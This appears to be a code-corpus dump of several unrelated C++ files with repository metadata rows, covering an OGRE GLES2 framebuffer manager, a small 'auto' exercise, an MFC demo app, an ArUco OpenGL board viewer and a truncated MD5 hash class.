glBindTexture(target, tid);
// Set some default parameters
#if GL_APPLE_texture_max_level
glTexParameteri(target, GL_TEXTURE_MAX_LEVEL_APPLE, 0);
#endif
glTexParameteri(target, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
glTexParameteri(target, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
glTexParameteri(target, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
glTexParameteri(target, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
glTexImage2D(target, 0, fmt, PROBE_SIZE, PROBE_SIZE, 0, fmt, GLES2PixelUtil::getGLOriginDataType((PixelFormat)x), 0);
glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,
target, tid, 0);
}
// Check status
GLuint status = glCheckFramebufferStatus(GL_FRAMEBUFFER);
// Ignore status in case of fmt==GL_NONE, because no implementation will accept
// a buffer without *any* attachment. Buffers with only stencil and depth attachment
// might still be supported, so we must continue probing.
// if(fmt == GL_NONE || status == GL_FRAMEBUFFER_COMPLETE)
// {
// mProps[x].valid = true;
// StringUtil::StrStreamType str;
// str << "FBO " << PixelUtil::getFormatName((PixelFormat)x)
// << " depth/stencil support: ";
//
// // For each depth/stencil formats
// for (size_t depth = 0; depth < DEPTHFORMAT_COUNT; ++depth)
// {
//#if GL_OES_packed_depth_stencil
// if (depthFormats[depth] != GL_DEPTH24_STENCIL8_OES)
// {
// // General depth/stencil combination
//
// for (size_t stencil = 0; stencil < STENCILFORMAT_COUNT; ++stencil)
// {
//// StringUtil::StrStreamType l;
//// l << "Trying " << PixelUtil::getFormatName((PixelFormat)x)
//// << " D" << depthBits[depth]
//// << "S" << stencilBits[stencil];
//// LogManager::getSingleton().logMessage(l.str());
//
// if (_tryFormat(depthFormats[depth], stencilFormats[stencil]))
// {
// /// Add mode to allowed modes
// str << "D" << depthBits[depth] << "S" << stencilBits[stencil] << " ";
// FormatProperties::Mode mode;
// mode.depth = depth;
// mode.stencil = stencil;
// mProps[x].modes.push_back(mode);
// }
// }
// }
// else
//#endif
// {
// // Packed depth/stencil format
// if (_tryPackedFormat(depthFormats[depth]))
// {
// /// Add mode to allowed modes
// str << "Packed-D" << depthBits[depth] << "S" << 8 << " ";
// FormatProperties::Mode mode;
// mode.depth = depth;
// mode.stencil = 0; // unuse
// mProps[x].modes.push_back(mode);
// }
// }
// }
// LogManager::getSingleton().logMessage(str.str());
// }
// Delete texture and framebuffer
glBindFramebuffer(GL_FRAMEBUFFER, 0);
glDeleteFramebuffers(1, &fb);
if (fmt!=GL_NONE)
glDeleteTextures(1, &tid);
}
// Clear any errors
GL_CHECK_ERROR;
String fmtstring;
for(size_t x=0; x<PF_COUNT; ++x)
{
if(mProps[x].valid)
fmtstring += PixelUtil::getFormatName((PixelFormat)x)+" ";
}
LogManager::getSingleton().logMessage("[GLES2] : Valid FBO targets " + fmtstring);
}
void GLES2FBOManager::getBestDepthStencil(GLenum internalFormat, GLenum *depthFormat, GLenum *stencilFormat)
{
const FormatProperties &props = mProps[internalFormat];
/// Decide what stencil and depth formats to use
/// [best supported for internal format]
size_t bestmode=0;
int bestscore=-1;
for(size_t mode=0; mode<props.modes.size(); mode++)
{
int desirability = 0;
/// Find most desirable mode
/// desirability == 0 if no depth, no stencil
/// desirability == 1000...2000 if no depth, stencil
/// desirability == 2000...3000 if depth, no stencil
/// desirability == 3000+ if depth and stencil
/// beyond this, the total numer of bits (stencil+depth) is maximised
if(props.modes[mode].stencil)
desirability += 1000;
if(props.modes[mode].depth)
desirability += 2000;
if(depthBits[props.modes[mode].depth]==24) // Prefer 24 bit for now
desirability += 500;
#if GL_OES_packed_depth_stencil
if(depthFormats[props.modes[mode].depth]==GL_DEPTH24_STENCIL8_OES) // Prefer 24/8 packed
desirability += 5000;
#endif
desirability += stencilBits[props.modes[mode].stencil] + depthBits[props.modes[mode].depth];
if(desirability>bestscore)
{
bestscore = desirability;
bestmode = mode;
}
}
*depthFormat = depthFormats[props.modes[bestmode].depth];
*stencilFormat = stencilFormats[props.modes[bestmode].stencil];
}
GLES2FBORenderTexture *GLES2FBOManager::createRenderTexture(const String &name,
const GLES2SurfaceDesc &target, bool writeGamma, uint fsaa)
{
GLES2FBORenderTexture *retval = new GLES2FBORenderTexture(this, name, target, writeGamma, fsaa);
return retval;
}
MultiRenderTarget *GLES2FBOManager::createMultiRenderTarget(const String & name)
{
return new GLES2FBOMultiRenderTarget(this, name);
}
void GLES2FBOManager::bind(RenderTarget *target)
{
/// Check if the render target is in the rendertarget->FBO map
GLES2FrameBufferObject *fbo = 0;
target->getCustomAttribute("FBO", &fbo);
if(fbo)
fbo->bind();
else
// Old style context (window/pbuffer) or copying render texture
#if OGRE_PLATFORM == OGRE_PLATFORM_APPLE_IOS
// The screen buffer is 1 on iOS
glBindFramebuffer(GL_FRAMEBUFFER, 1);
#else
glBindFramebuffer(GL_FRAMEBUFFER, 0);
#endif
GL_CHECK_ERROR;
}
GLES2SurfaceDesc GLES2FBOManager::requestRenderBuffer(GLenum format, size_t width, size_t height, uint fsaa)
{
GLES2SurfaceDesc retval;
retval.buffer = 0; // Return 0 buffer if GL_NONE is requested
if(format != GL_NONE)
{
RBFormat key(format, width, height, fsaa);
RenderBufferMap::iterator it = mRenderBufferMap.find(key);
if(it != mRenderBufferMap.end())
{
retval.buffer = it->second.buffer;
retval.zoffset = 0;
retval.numSamples = fsaa;
// Increase refcount
++it->second.refcount;
}
else
{
// New one
GLES2RenderBuffer *rb = OGRE_NEW GLES2RenderBuffer(format, width, height, (GLint)fsaa);
mRenderBufferMap[key] = RBRef(rb);
retval.buffer = rb;
retval.zoffset = 0;
retval.numSamples = fsaa;
}
}
// std::cerr << "Requested renderbuffer with format " << std::hex << format << std::dec << " of " << width << "x" << height << " :" << retval.buffer << std::endl;
return retval;
}
//-----------------------------------------------------------------------
void GLES2FBOManager::requestRenderBuffer(const GLES2SurfaceDesc &surface)
{
if(surface.buffer == 0)
return;
RBFormat key(surface.buffer->getGLFormat(), surface.buffer->getWidth(), surface.buffer->getHeight(), surface.numSamples);
RenderBufferMap::iterator it = mRenderBufferMap.find(key);
assert(it != mRenderBufferMap.end());
if (it != mRenderBufferMap.end()) // Just in case
{
assert(it->second.buffer == surface.buffer);
// Increase refcount
++it->second.refcount;
}
}
//-----------------------------------------------------------------------
void GLES2FBOManager::releaseRenderBuffer(const GLES2SurfaceDesc &surface)
{
if(surface.buffer == 0)
return;
RBFormat key(surface.buffer->getGLFormat(), surface.buffer->getWidth(), surface.buffer->getHeight(), surface.numSamples);
RenderBufferMap::iterator it = mRenderBufferMap.find(key);
if(it != mRenderBufferMap.end())
{
// Decrease refcount
--it->second.refcount;
if(it->second.refcount==0)
{
// If refcount reaches zero, delete buffer and remove from map
OGRE_DELETE it->second.buffer;
mRenderBufferMap.erase(it);
//std::cerr << "Destroyed renderbuffer of format " << std::hex << key.format << std::dec
// << " of " << key.width << "x" << key.height << std::endl;
}
}
}
}
| [
"qinlong.mkl@gmail.com"
] | qinlong.mkl@gmail.com |
2c8da5c847861b2ecfcc79c4ef902b56b1334552 | a7a07cbbb41b1a404c19c728e2aa67f11ec7dbf3 | /test_auto/main.cpp | 11550e1a7b9005bcbff41c017f8341b629fe82d6 | [] | no_license | Ran1366/LearnCpp | b517b3374bfc279f45b105cd4611b345dce464a5 | 9add31fa6b09e7080f83fc1a574d43048c74f5ef | refs/heads/master | 2020-04-08T10:33:17.463639 | 2019-07-23T15:22:03 | 2019-07-23T15:22:03 | 159,273,649 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 232 | cpp | #include <iostream>
using namespace std;
int main()
{
//auto自动判断类型, 忽略顶层const
int i = 0;
const int ci = i, &cr = ci;
auto int b = ci;
int *r = &b;
b = 5;
std::cout << b << std::endl;
return 0;
}
| [
"m13669286873_1@163.com"
] | m13669286873_1@163.com |
6760d501ffa3fba0b4b542fd5f06738534470d69 | 7e8c72c099b231078a763ea7da6bba4bd6bac77b | /other_projects/base_station_monitor/Client/reference SDK/General_NetSDK_Chn_IS_V3.36.0.R.100505/Demo/分类应用/设备报警、用户管理/ClientDemo1/ClientDemo1.cpp | 69ba6cec66845d89f2137fabdd907f6a4aa088bc | [] | no_license | github188/demodemo | fd910a340d5c5fbf4c8755580db8ab871759290b | 96ed049eb398c4c188a688e9c1bc2fe8cd2dc80b | refs/heads/master | 2021-01-12T17:16:36.199708 | 2012-08-15T14:20:51 | 2012-08-15T14:20:51 | 71,537,068 | 1 | 2 | null | 2016-10-21T06:38:22 | 2016-10-21T06:38:22 | null | UTF-8 | C++ | false | false | 3,814 | cpp | // ClientDemo1.cpp : Defines the class behaviors for the application.
//
#include "stdafx.h"
#include "ClientDemo1.h"
#include "ClientDemo1Dlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CClientDemo1App
BEGIN_MESSAGE_MAP(CClientDemo1App, CWinApp)
//{{AFX_MSG_MAP(CClientDemo1App)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG
ON_COMMAND(ID_HELP, CWinApp::OnHelp)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CClientDemo1App construction
CString ConvertString(CString strText)
{
char *val = new char[200];
CString strIniPath,strRet;
memset(val,0,200);
GetPrivateProfileString("String",strText,"",
val,200,"./langchn.ini");
strRet = val;
if(strRet.GetLength()==0)
{
//If there is no corresponding string in the ini file. Set it to the default value.(English).
strRet=strText;
}
delete val;
return strRet;
}
//Set static text in the dialogue box(English->current language)
void g_SetWndStaticText(CWnd * pWnd)
{
CString strCaption,strText;
//Set main window title
pWnd->GetWindowText(strCaption);
if(strCaption.GetLength()>0)
{
strText=ConvertString(strCaption);
pWnd->SetWindowText(strText);
}
//Set sub-window title
CWnd * pChild=pWnd->GetWindow(GW_CHILD);
CString strClassName;
while(pChild)
{
//////////////////////////////////////////////////////////////////////////
//Added by Jackbin 2005-03-11
strClassName = ((CRuntimeClass*)pChild->GetRuntimeClass())->m_lpszClassName;
if(strClassName == "CEdit")
{
//The next sub-window
pChild=pChild->GetWindow(GW_HWNDNEXT);
continue;
}
//////////////////////////////////////////////////////////////////////////
//Set current language text in the sub-window
pChild->GetWindowText(strCaption);
strText=ConvertString(strCaption);
pChild->SetWindowText(strText);
//The next sub-window
pChild=pChild->GetWindow(GW_HWNDNEXT);
}
}
CClientDemo1App::CClientDemo1App()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}
/////////////////////////////////////////////////////////////////////////////
// The one and only CClientDemo1App object
CClientDemo1App theApp;
/////////////////////////////////////////////////////////////////////////////
// CClientDemo1App initialization
BOOL CClientDemo1App::InitInstance()
{
AfxEnableControlContainer();
// Standard initialization
// If you are not using these features and wish to reduce the size
// of your final executable, you should remove from the following
// the specific initialization routines you do not need.
#ifdef _AFXDLL
Enable3dControls(); // Call this when using MFC in a shared DLL
#else
Enable3dControlsStatic(); // Call this when linking to MFC statically
#endif
CClientDemo1Dlg dlg;
m_pMainWnd = &dlg;
int nResponse = dlg.DoModal();
if (nResponse == IDOK)
{
// TODO: Place code here to handle when the dialog is
// dismissed with OK
}
else if (nResponse == IDCANCEL)
{
// TODO: Place code here to handle when the dialog is
// dismissed with Cancel
}
// Since the dialog has been closed, return FALSE so that we exit the
// application, rather than start the application's message pump.
return FALSE;
}
| [
"thinkinnight@b18a5524-d64a-0410-9f42-ad3cd61580fb"
] | thinkinnight@b18a5524-d64a-0410-9f42-ad3cd61580fb |
f2ed8e0a39c964a89a8309d7b58c34037a4dca8f | 7999a9215654274215b59b543a641be6a3275c32 | /autonomy/aruco/aruco-1.2.5/utils/aruco_test_board_gl.cpp | daf35f351e3a72b4374c3828b3a0485cd8b37a04 | [
"BSD-3-Clause",
"LicenseRef-scancode-public-domain"
] | permissive | UAFRMC/2020 | 715006903553150009a816f4aa9c6ea45feeaea3 | 9a828c82d74228f0209832b4296b36365883b60e | refs/heads/master | 2021-11-15T10:54:07.511760 | 2021-11-07T20:38:17 | 2021-11-07T20:38:17 | 209,660,861 | 4 | 3 | null | 2020-03-09T23:19:40 | 2019-09-19T22:45:01 | C++ | UTF-8 | C++ | false | false | 9,873 | cpp | /*****************************
Copyright 2011 Rafael Muñoz Salinas. All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are
permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list
of conditions and the following disclaimer in the documentation and/or other materials
provided with the distribution.
THIS SOFTWARE IS PROVIDED BY Rafael Muñoz Salinas ''AS IS'' AND ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Rafael Muñoz Salinas OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The views and conclusions contained in the software and documentation are those of the
authors and should not be interpreted as representing official policies, either expressed
or implied, of Rafael Muñoz Salinas.
********************************/
#include <iostream>
#include <fstream>
#include <sstream>
#ifdef __APPLE__
#include <GLUT/glut.h>
#elif _MSC_VER
//http://social.msdn.microsoft.com/Forums/eu/vcgeneral/thread/7d6e6fa5-afc2-4370-9a1f-991a76ccb5b7
#include <windows.h>
#include <GL/gl.h>
#include <glut.h>
#else
#include <GL/gl.h>
#include <GL/glut.h>
#endif
#include <opencv2/highgui.hpp>
#include <opencv2/imgproc.hpp>
#include "aruco.h"
#include "boarddetector.h"
#include "common.h"
using namespace cv;
using namespace aruco;
string TheInputVideo,TheIntrinsicFile,TheBoardConfigFile;
bool The3DInfoAvailable=false;
float TheMarkerSize=-1;
MarkerDetector MDetector;
VideoCapture TheVideoCapturer;
vector<Marker> TheMarkers;
//board
BoardDetector TheBoardDetector;
pair<Board,float> TheBoardDetected; //the board and its probabilit
BoardConfiguration TheBoardConfig;
Mat TheInputImage,TheUndInputImage,TheResizedImage;
CameraParameters TheCameraParams;
Size TheGlWindowSize;
bool TheCaptureFlag=true;
void vDrawScene();
void vIdle();
void vResize( GLsizei iWidth, GLsizei iHeight );
void vMouse(int b,int s,int x,int y);
/************************************
*
*
*
*
************************************/
bool readArguments ( int argc,char **argv )
{
if (argc!=5) {
cerr<<"Invalid number of arguments"<<endl;
cerr<<"Usage: (in.avi|live) boardConfig.yml intrinsics.yml size "<<endl;
return false;
}
TheInputVideo=argv[1];
TheBoardConfigFile=argv[2];
TheIntrinsicFile=argv[3];
TheMarkerSize=atof(argv[4]);
return true;
}
/************************************
*
*
*
*
************************************/
int main(int argc,char **argv)
{
try
{
if (readArguments (argc,argv)==false) return 0;
//read board configuration
TheBoardConfig.readFromFile(TheBoardConfigFile);
//Open video input source
if (TheInputVideo=="") //read from camera
TheVideoCapturer.open(0);
else TheVideoCapturer.open(TheInputVideo);
if (!TheVideoCapturer.isOpened())
{
cerr<<"Could not open video"<<endl;
return -1;
}
//read first image
TheVideoCapturer>>TheInputImage;
//read camera paramters if passed
TheCameraParams.readFromXMLFile(TheIntrinsicFile);
TheCameraParams.resize( TheInputImage.size());
glutInit(&argc, argv);
glutInitWindowPosition( 0, 0);
glutInitWindowSize(TheInputImage.size().width,TheInputImage.size().height);
glutInitDisplayMode( GLUT_RGB | GLUT_DEPTH | GLUT_DOUBLE );
glutCreateWindow( "AruCo" );
glutDisplayFunc( vDrawScene );
glutIdleFunc( vIdle );
glutReshapeFunc( vResize );
glutMouseFunc(vMouse);
glClearColor( 0.0, 0.0, 0.0, 1.0 );
glClearDepth( 1.0 );
TheGlWindowSize=TheInputImage.size();
vResize(TheGlWindowSize.width,TheGlWindowSize.height);
glutMainLoop();
} catch (std::exception &ex)
{
cout<<"Exception :"<<ex.what()<<endl;
}
}
/************************************
*
*
*
*
************************************/
void vMouse(int b,int s,int x,int y)
{
if (b==GLUT_LEFT_BUTTON && s==GLUT_DOWN) {
TheCaptureFlag=!TheCaptureFlag;
}
}
/************************************
*
*
*
*
************************************/
void axis(float size)
{
glColor3f (1,0,0 );
glBegin(GL_LINES);
glVertex3f(0.0f, 0.0f, 0.0f); // origin of the line
glVertex3f(size,0.0f, 0.0f); // ending point of the line
glEnd( );
glColor3f ( 0,1,0 );
glBegin(GL_LINES);
glVertex3f(0.0f, 0.0f, 0.0f); // origin of the line
glVertex3f( 0.0f,size, 0.0f); // ending point of the line
glEnd( );
glColor3f (0,0,1 );
glBegin(GL_LINES);
glVertex3f(0.0f, 0.0f, 0.0f); // origin of the line
glVertex3f(0.0f, 0.0f, size); // ending point of the line
glEnd( );
}
/************************************
*
*
*
*
************************************/
void vDrawScene()
{
if (TheResizedImage.rows==0) //prevent from going on until the image is initialized
return;
///clear
glClear( GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT );
///draw image in the buffer
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
glOrtho(0, TheGlWindowSize.width, 0, TheGlWindowSize.height, -1.0, 1.0);
glViewport(0, 0, TheGlWindowSize.width , TheGlWindowSize.height);
glDisable(GL_TEXTURE_2D);
glPixelZoom( 1, -1);
glRasterPos3f( 0, TheGlWindowSize.height - 0.5, -1.0 );
glDrawPixels ( TheGlWindowSize.width , TheGlWindowSize.height , GL_RGB , GL_UNSIGNED_BYTE , TheResizedImage.ptr(0) );
///Set the appropriate projection matrix so that rendering is done in a enrvironment
//like the real camera (without distorsion)
glMatrixMode(GL_PROJECTION);
double proj_matrix[16];
TheCameraParams.glGetProjectionMatrix(TheInputImage.size(),TheGlWindowSize,proj_matrix,0.05,10);
glLoadIdentity();
glLoadMatrixd(proj_matrix);
glLineWidth(2);
//now, for each marker,
double modelview_matrix[16];
/* for (unsigned int m=0;m<TheMarkers.size();m++)
{
TheMarkers[m].glGetModelViewMatrix(modelview_matrix);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
glLoadMatrixd(modelview_matrix);
// axis(TheMarkerSize);
glColor3f(1,0.4,0.4);
glTranslatef(0, TheMarkerSize/2,0);
glPushMatrix();
glutWireCube( TheMarkerSize );
glPopMatrix();
}*/
//If the board is detected with enough probability
if (TheBoardDetected.second>0.3) {
TheBoardDetected.first.glGetModelViewMatrix(modelview_matrix);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
glLoadMatrixd(modelview_matrix);
glColor3f(0,1,0);
axis(TheMarkerSize);
if(TheBoardDetector.isYPerpendicular()) glTranslatef(0,TheMarkerSize/2,0);
else glTranslatef(0,0,TheMarkerSize/2);
glPushMatrix();
glutWireCube( TheMarkerSize );
glPopMatrix();
}
glutSwapBuffers();
}
/************************************
*
*
*
*
************************************/
void vIdle()
{
if (TheCaptureFlag) {
//capture image
TheVideoCapturer.grab();
TheVideoCapturer.retrieve( TheInputImage);
TheUndInputImage.create(TheInputImage.size(),CV_8UC3);
//by deafult, opencv works in BGR, so we must convert to RGB because OpenGL in windows preffer
cv::cvtColor(TheInputImage,TheInputImage,CV_BGR2RGB);
//remove distorion in image
cv::undistort(TheInputImage,TheUndInputImage, TheCameraParams.CameraMatrix,TheCameraParams.Distorsion);
//detect markers
MDetector.detect(TheUndInputImage,TheMarkers);
//Detection of the board
TheBoardDetected.second=TheBoardDetector.detect( TheMarkers, TheBoardConfig,TheBoardDetected.first, TheCameraParams,TheMarkerSize);
//chekc the speed by calculating the mean speed of all iterations
//resize the image to the size of the GL window
cv::resize(TheUndInputImage,TheResizedImage,TheGlWindowSize);
}
glutPostRedisplay();
}
/************************************
*
*
*
*
************************************/
void vResize( GLsizei iWidth, GLsizei iHeight )
{
TheGlWindowSize=Size(iWidth,iHeight);
//not all sizes are allowed. OpenCv images have padding at the end of each line in these that are not aligned to 4 bytes
if (iWidth*3%4!=0) {
iWidth+=iWidth*3%4;//resize to avoid padding
vResize(iWidth,TheGlWindowSize.height);
}
else {
//resize the image to the size of the GL window
if (TheUndInputImage.rows!=0)
cv::resize(TheUndInputImage,TheResizedImage,TheGlWindowSize);
}
}
| [
"lawlor@alaska.edu"
] | lawlor@alaska.edu |
5f905037f86af5926e320131a2947697e8987d61 | 7264c1083d93e654a8953d377a73ce3d28af41fb | /Source/Base Common Src/Common/Md5.h | f691e22ceb4c4c50022cfb511b8442d67f1d015d | [] | no_license | samik3k/Mu-GS-Webzen-MC-10093 | 8ae88d0aae232513bfff22d72ec6ba6d1973f35d | d07c0ca7010dedf7bf36447c1a3fb55389bbba9a | refs/heads/master | 2022-12-26T06:07:30.079269 | 2020-10-05T09:55:11 | 2020-10-05T09:55:11 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 7,869 | h | #pragma once
#define S11 7
#define S12 12
#define S13 17
#define S14 22
#define S21 5
#define S22 9
#define S23 14
#define S24 20
#define S31 4
#define S32 11
#define S33 16
#define S34 23
#define S41 6
#define S42 10
#define S43 15
#define S44 21
class CMD5
{
public:
CMD5::CMD5(){init();}
inline UINT rotate_left(UINT x, UINT n){return (x << n) | (x >> (32-n));}
inline UINT F(UINT x, UINT y, UINT z){return (x & y) | (~x & z);}
inline UINT G(UINT x, UINT y, UINT z){return (x & z) | (y & ~z);}
inline UINT H(UINT x, UINT y, UINT z){return x ^ y ^ z;}
inline UINT I(UINT x, UINT y, UINT z){ return y ^ (x | ~z);}
inline void FF(UINT& a, UINT b, UINT c, UINT d, UINT x, UINT s, UINT ac){a += F(b, c, d) + x + ac;a = rotate_left (a, s) +b;}
inline void GG(UINT& a, UINT b, UINT c, UINT d, UINT x, UINT s, UINT ac){a += G(b, c, d) + x + ac;a = rotate_left (a, s) +b;}
inline void HH(UINT& a, UINT b, UINT c, UINT d, UINT x, UINT s, UINT ac){a += H(b, c, d) + x + ac;a = rotate_left (a, s) +b;}
inline void II(UINT& a, UINT b, UINT c, UINT d, UINT x, UINT s, UINT ac){a += I(b, c, d) + x + ac;a = rotate_left (a, s) +b;}
UINT state[4];
UINT count[2]; // number of *bits*, mod 2^64
BYTE buffer[64]; // input buffer
BYTE digest[16];
BYTE finalized;
public:
void init()
{
finalized = false;
count[0] = 0;
count[1] = 0;
state[0] = 0x67452301;
state[1] = 0xefcdab89;
state[2] = 0x98badcfe;
state[3] = 0x10325476;
}
void transform(BYTE block[64])
{
UINT a = state[0], b = state[1], c = state[2], d = state[3], x[16];
decode(x, block, 64);
/* Round 1 */
FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */
FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */
FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */
FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */
FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */
FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */
FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */
FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */
/* Round 2 */
GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */
GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */
GG (d, a, b, c, x[10], S22, 0x2441453); /* 22 */
GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */
GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */
GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */
GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */
GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */
GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */
GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */
/* Round 3 */
HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */
HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */
HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */
HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */
HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */
HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */
HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */
HH (b, c, d, a, x[ 6], S34, 0x4881d05); /* 44 */
HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */
HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */
/* Round 4 */
II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */
II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */
II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */
II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */
II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */
II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */
II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */
II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */
II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */
II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */
state[0] += a;
state[1] += b;
state[2] += c;
state[3] += d;
// Zeroize sensitive information.
memset((LPBYTE)x, 0, sizeof(x));
}
void encode(LPBYTE output, PUINT input, UINT len)
{
//UINT i, j;
for( UINT i = 0, j = 0; j < len; i++, j += 4 )
{
output[j] = (BYTE) (input[i] & 0xff);
output[j+1] = (BYTE) ((input[i] >> 8) & 0xff);
output[j+2] = (BYTE) ((input[i] >> 16) & 0xff);
output[j+3] = (BYTE) ((input[i] >> 24) & 0xff);
}
}
void decode(PUINT output, LPBYTE input, UINT len)
{
for( UINT i = 0, j = 0; j < len; i++, j += 4 )
{
//output[i] = MAKELONG(MAKEWORD(input[j], input[j+1]), MAKEWORD(input[j+2], input[j+3]));
output[i] = ((UINT)input[j]) | (((UINT)input[j+1]) << 8) | (((UINT)input[j+2]) << 16) | (((UINT)input[j+3]) << 24);
}
}
void update(LPBYTE input, UINT input_length)
{
UINT input_index, buffer_index;
UINT buffer_space; // how much space is left in buffer
if( finalized ) {
return;
}
// Compute number of bytes mod 64
buffer_index = (UINT)((count[0] >> 3) & 0x3F);
// Update number of bits
if( (count[0] += ((UINT)input_length << 3)) < ((UINT)input_length << 3) ) {
count[1]++;
}
count[1] += ((UINT)input_length >> 29);
buffer_space = 64 - buffer_index; // how much space is left in buffer
// Transform as many times as possible.
if( input_length >= buffer_space )
{
// fill the rest of the buffer and transform
memcpy (buffer + buffer_index, input, buffer_space);
transform(buffer);
// now, transform each 64-byte piece of the input, bypassing the buffer
for( input_index = buffer_space; input_index + 63 < input_length; input_index += 64 ) {
transform (input+input_index);
}
buffer_index = 0; // so we can buffer remaining
}
else
{
input_index = 0; // so we can buffer the whole input
}
memcpy(buffer+buffer_index, input+input_index, input_length-input_index);
}
void finalize()
{
BYTE bits[8];
UINT index, padLen;
static BYTE PADDING[64] =
{
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
